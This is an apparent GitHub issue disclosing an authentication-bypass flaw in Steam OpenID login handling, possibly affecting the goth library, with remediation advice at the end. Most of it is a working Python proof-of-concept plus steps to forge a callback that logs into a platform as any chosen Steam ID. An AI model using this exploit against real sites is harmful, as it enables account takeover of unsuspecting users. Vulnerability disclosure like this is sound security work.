-
Notifications
You must be signed in to change notification settings - Fork 629
Open
Description
Hi!
We recently received a bug report about an exploit in the default OpenID authentication flow through Steam.
We don't use goth directly of indirectly and didn't try to reproduce the issue using the library, but after checking its source code I've noticed, that goth may be susceptible to this kind of attack.
Below is the reproduction code of the attack:
## INSTRUCTIONS ##
# 1. Edit the TARGET_VICTIM_STEAMID to select a steam64id of your choice
# 2. Run the python script
# 3. When asked for the Steam Login URL, enter the url that your platform sends users to in order to auth (should be a steamcommunity.com/openid/login url)
# 4. When asked to intercept the response, you must do so when steam is redirecting the user back to your platform. It is advised to use a tool such as Burp Community Edition in order to achieve this.
# 5. After following all the steps, your platform should log the user in as the TARGET_VICTIM_STEAMID
## CONSTANTS (EDIT THESE) ##
TARGET_VICTIM_STEAMID = "00000000000000000"
## POC (DON'T TOUCH THIS) ##
from datetime import datetime, timezone
import random
import string
from urllib.parse import urlparse, parse_qs, parse_qsl, quote, urlunparse, urlencode
FAKE_NONCE_TIME = datetime.now(timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ")
FAKE_NONCE_STRING = ''.join(random.choices(string.ascii_letters + string.digits, k=27)) + "="
FAKE_NONCE = FAKE_NONCE_TIME + FAKE_NONCE_STRING
def run():
originalRawURL = input("Enter Steam Login URL: ")
originalQueryParams = parse_qs(urlparse(originalRawURL).query)
returnURL = originalQueryParams['openid.return_to'][0]
spoofedBottomSection = f"""test
claimed_id:https://steamcommunity.com/openid/id/{TARGET_VICTIM_STEAMID}
identity:https://steamcommunity.com/openid/id/{TARGET_VICTIM_STEAMID}
return_to:{returnURL}
response_nonce:{FAKE_NONCE}
assoc_handle:1234567890
invalidate_handle:test"""
originalSpoofedURL = originalRawURL + f"&openid.assoc_handle={quote(spoofedBottomSection)}"
print(
f"\nEnter the following link into your browser and log in. Intercept the response before it reaches the target return-to endpoint:\n{originalSpoofedURL}")
callbackRawURL = input("\nEnter the response from steam: ")
callbackParsedURL = urlparse(callbackRawURL)
callbackQueryParams = parse_qs(callbackParsedURL.query)
attacker_claimedid = callbackQueryParams['openid.claimed_id'][0]
real_nonce = callbackQueryParams['openid.response_nonce'][0]
spoofedTopSection = f"""https://steamcommunity.com/openid/login
claimed_id:{attacker_claimedid}
identity:{attacker_claimedid}
return_to:{returnURL}
response_nonce:{real_nonce}
assoc_handle:1234567890
invalidate_handle:test"""
callbackQueryParams['openid.claimed_id'][0] = f"https://steamcommunity.com/openid/id/{TARGET_VICTIM_STEAMID}"
callbackQueryParams['openid.identity'][0] = f"https://steamcommunity.com/openid/id/{TARGET_VICTIM_STEAMID}"
callbackQueryParams['openid.response_nonce'][0] = FAKE_NONCE
callbackQueryParams['openid.invalidate_handle'][0] = "test"
callbackQueryParams['openid.op_endpoint'][0] = spoofedTopSection
query_dict = {}
for key, value in callbackQueryParams.items():
query_dict[key] = value[0]
callbackSpoofedURL = urlunparse((
callbackParsedURL.scheme,
callbackParsedURL.netloc,
callbackParsedURL.path,
callbackParsedURL.params,
urlencode(query_dict, doseq=True),
callbackParsedURL.fragment
))
print(f"\nFINALISED SPOOFED URL:\n{callbackSpoofedURL}")
if __name__ == "__main__":
run()Remediations:
- In order to fix this vulnerability, your library must ensure that the
openid.op_endpointparameter returned by Steam is equal tohttps://steamcommunity.com/openid/login - (Optionally) Restrict the
openid.invalidate_handleparameter from Steam, as it is never sent in the normal flow.
Metadata
Metadata
Assignees
Labels
No labels